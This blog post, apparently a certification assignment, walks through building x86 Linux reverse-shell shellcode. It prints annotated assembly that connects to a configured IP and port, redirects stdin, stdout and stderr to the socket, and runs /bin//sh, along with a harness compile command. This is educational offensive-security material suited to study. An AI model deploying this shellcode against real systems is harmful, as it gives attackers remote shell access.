This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
Student ID: SLAE-1134
Assignment number: 2
Github repo: https://github.com/kkirsche/SLAE
Exploit-DB: Entry 45292
Hey everyone! I’m back, and this time, we’re going to be talking through assignment 2 of the SecurityTube Linux Assembly Expert course. In this edition, we’ll be creating a TCP reverse shell using an IPv4 and an IPv6 target address.
- Reverse shell connects to configured IP address and port number
- Executes a shell when a successful connection is made
- The port number should be easily configurable via a wrapper script of by marking the byte in the code for easy editing
Unlike the bind shell where we could include both IPv4 and IPv6 in a single bit of shellcode, we’re unable to do that here. As such, we’ll simply take our IPv4 code and convert it to work with IPv6.
Building our proof of concept
Similar to what we did with our bind shell, we want to start off by creating a working proof of concept in a higher-level language. In this case, we’ll use the C programming language to achieve our goal.
IPv4 Reverse Shell in C
IPv6 Reverse Shell in C
So how are these working? Both are pretty similar, so we’ll run through them quickly. We start off by creating a structure for the host we want to connect to. This will be either a sockaddr_in for the IPv4 host or a sockaddr_in6 for the IPv6 host. This is an important difference because the structures themselves have different fields in them when converted to assembly.
Once we have our structure built, and we’ve used inet_pton to convert our IP address to a numeric value we can use, we use the same basic flow we did in our bind shell. First, we create a socket, we then use the socket to perform a connect operation, once we’ve made our connection, we connect stdin, stdout, and stderr to the socket via dup2, and lastly, with everything connected we start our shell process.
From C to Assembly
With a working proof of concept in C, we are ready to move over to assembly. We’ll break down the IPv4 code specifically as it’s the most common IP protocol at this time, but for those interested, the IPv6 assembly is (in my opinion), pretty well commented to should be straightforward to read through if you understand what’s happening in the IPv4 code.
IPv4 Reverse Shell in Assembly
IPv6 Reverse Shell in Assembly
Breaking down the assembly
So we’ll get started. There is some boilerplate assembly language at the start of the file, so we’ll dig into the actual _start section where the action begins.
xor ebx, ebx
push ebx ; #define IP_PROTO 0
push 0x1 ; #define SOCK_STREAM 1
push 0x2 ; #define PF_INET 2
mov ecx, esp ; pointer to args on the stack into ecx
pop eax ; socketcall 0x66 == 102
inc ebx ; #define SYS_SOCKET 1
;; returned data
xchg esi, eax ; sockfd eax -> esi
This block of code corresponds to our socket creation. Unlike in the C code, we want to do this first, because we’ll be using the stack for our structure. We first clear the EBX register by XOR’ing it with itself. With this zeroed out, we then push the zero onto the stack. This is going to tell the socket call that we are using the IP protocol for this socket, which would allow us to use either IPv4 or IPv6 with the socket. We then push 0x1 stating that it’s a bi-directional socket (via SOCK_STREAM) and then that this is an IPv4 socket (PF_INET).
You’ll notice that the arguments are being pushed onto the stack in reverse order. That’s because when a function is called, it assumes the first argument is on the top of the stack, so we have to load the stack in reverse order.
With our arguments on the stack, we move a pointer to these arguments (ESP is the stack pointer which points to the top of the stack) into ecx, we then pop 0x66 into EAX telling the computer that we’re going to be calling the socketcall system call. We then increment EBX so that the SYS_SOCKET socketcall is called specifically, allowing us to create our socket file descriptor.
With our functions setup, we then trigger the interrupt to execute this function. The SYS_SOCKET socketcall returns our file descriptor in EAX, which we exchange with ESI so that we can store it for use later in our code. With our socket setup, we now need to connect to our remote host.
; connect ipv4
;; v4rhost struct
inc ebx ; 0x1 becomes 0x2 (PF_INET)
push 0x0101017F ; v4rhost.sin_addr.s_addr = 127.1.1.1
push word 0x3905 ; v4rhost.sin_port = htons(1337)
push bx ; v4rhost.sin_family = 0x2 (AF_INET)
inc ebx ; 0x2 becomes 0x3 (SYS_CONNECT)
mov ecx, esp ; move our struct pointer into ECX
push 0x10 ; sizeof v4rhost
push ecx ; pointer v4rhost
push esi ; push sockfd onto the stack
mov ecx, esp ; pointer to args on the stack into ecx
push 0x66 ; socketcall()
;; returned data
xchg ebx, esi ; put sockfd into ebx for dup call
First thing we need to do is create the structure for the host we’re going to connect to. We first increment EBX so that it contains a 2 in it. We’ll use this in a few moments. After we increment EBX, we then push the IP Address we want to connect to onto the stack. In this case, you’ll notice we’re using 127.1.1.1 instead of 127.0.0.1. This is because using 127.0.0.1 would contain two nulls which we don’t want.
With the IP address on the stack, we then push the port number onto the stack. In our case, that’s 0x3905 which corresponds with port 1337. With that on, we then have to push the address family onto the stack. As in the socket call, we’re using the PF_INET family. Since EBX now contains 2 in it, after we incremented it, we can push bx onto the stack to represent PF_INET.
Our structure is now complete, we then increment EBX one more time, this time making EBX 3, which corresponds with the SYS_CONNECT socketcall that we’ll be taking on. We then move the stack pointer into ECX, which contains a pointer to our remote host structure.
With that stored, we can finally push our function arguments onto the stack. We push 0x10 stating the size of our structure, push the pointer to the structure, and then push our socket file descriptor onto the stack using the ESI register. Again, these are the arguments for the connect() function. With these in place, we can now prepare for the actual function call.
We move a pointer to our arguments into ECX (since our arguments are on the stack, we move the stack pointer value into ECX), we then pop 0x66 (socketcall system call) into EAX, and then trigger our function with the interrupt. You’ll notice we didn’t do anything with EBX here, that’s because we have a 0x3 in it already, which is the SYS_CONNECT call. This is what the increment we did earlier setup. With our interrupt done, we do a bit of setup by putting our socket file descriptor into EBX so that we can connect the stdin, stdout, and stderr values to our socket. This is needed for our dup2 call coming up.
;; setup counters
sub ecx, ecx
mov cl, 0x2
mov al, 0x3f ; SYS_DUP2 syscall
int 0x80 ; call SYS_DUP2
dec ecx ; decrement loop counter
jns duploop ; as long as SF is not set, keep looping
With a connection in place, we can now connect our inputs and outputs to the socket using the dup2 function. We need to do this the correct number of times though. So we first clear ecx by using SUB. This is a bit of polymorphism, but does the same thing as a XOR ecx, ecx does. We then move 0x2 (the number of times, with a zero base, we want to do our loop) into ECX. This will mean that we’ll run the duplicate loop 3 times, first with 2, then 1, then 0.
This loop works by moving 0x3f into the lower EAX register (al) which is telling the system that we’re using the SYS_DUP2 function call. Remember that our socket file descriptor is in EBX from before, and ECX is not only our counter, but also the file descriptor we want to connect to our socket. We then trigger the interrupt to call the function, decrement ECX (if we don’t do this, we get an infinite loop), and then check if the signed flag is set. If it’s not, we repeat the loop. The signed flag indicates whether the number is negative (e.g. -1), which allows us to easily check if we are done with our 3 iterations. With our loop done, the only thing we have left to do is execute our shell.
xor edx, edx
;; command to run
push edx ; NULL string terminator
push 0x68732f2f ; hs//
push 0x6e69622f ; nib/
mov ecx, edx ; null
mov ebx, esp ; pointer to args into ebx
mov al, 0x0b ; execve systemcall
First things first, we clear EDX. To reduce size, we could use CDQ, but I’m in the event that our socket had an error, we’d have a negative value and this would change how this portion plays out, since CDQ copies the sign flag value into every bit position in the EDX register.
We push EDX onto the stack as our null string terminator (remember that in C, strings are terminated with a null), we then push /bin//sh (in reverse, because we’re on a little-endian architecture). The use of the two slashes between bin and sh allows us to maintain an divisible by four byte count. This gives us the string we’re going to need for our function call. We then move null into ECX, essentially emptying it, move a pointer to the /bin//sh string into EBX, and finally move 0x0b (execve system call) into EAX. This tells the system what function we’re calling when we trigger the interrupt.
We then trigger our interrupt and voilà, we have a working shell!
Extracting and testing our shellcode
So we have a working reverse shell. It’s now time to extract the shellcode for it and validate that it works as expected. We can compile the assembly and extract the shellcode using the following script. Note, that the binary argument needs to be changed depending on how you name your file(s).
This is the same basic script for both IPv4 and IPv6, as such, we won’t include two copies of it.
When this generates our shellcode, we need to dump it into a file to test that it works as expected. We’ll use our shellcode harness to do this:
IPv4 Reverse Shell via Shellcode Harness
IPv6 Reverse Shell via Shellcode Harness
We then compile this with:
gcc -o shellcode shellcode.c -fno-stack-protector -z execstack
This will work for either our IPv4 or IPv6 shellcode. We then execute them, and we can see they work!
Making this customizable
So at this point, we have a working reverse shell on both IPv4 and IPv6, but it’s not exactly easy to change the port or the IP address we want to connect to. We can fix this with a bit of python.
IPv4 x86 Reverse Shell Shellcode Generator
IPv6 x86 Reverse Shell Shellcode Generator
Note that there are a few differences between the two, and as such, we have to have separate generators.